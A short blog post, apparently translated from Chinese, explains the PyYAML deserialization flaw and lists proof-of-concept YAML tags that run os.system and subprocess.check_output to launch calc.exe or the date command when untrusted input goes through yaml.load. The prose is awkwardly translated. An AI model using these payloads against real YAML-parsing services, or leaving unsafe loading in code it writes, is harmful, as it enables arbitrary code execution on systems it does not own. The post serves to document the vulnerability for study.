pyyaml deserialization vulnerability

Disclaimer: This article is a blogger original article, shall not be reproduced without the bloggers allowed. https://blog.csdn.net/qq1124794084/article/details/87270117

pyyaml ​​parsing contain! ! Is forced to the beginning of the data type is converted into a string format.

test

import yaml
yaml.load('!!python/object/apply:os.system ["date"]')

 

result

poc also

!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.system ["calc.exe"]

Reference: http://www.polaris-lab.com/index.php/archives/375/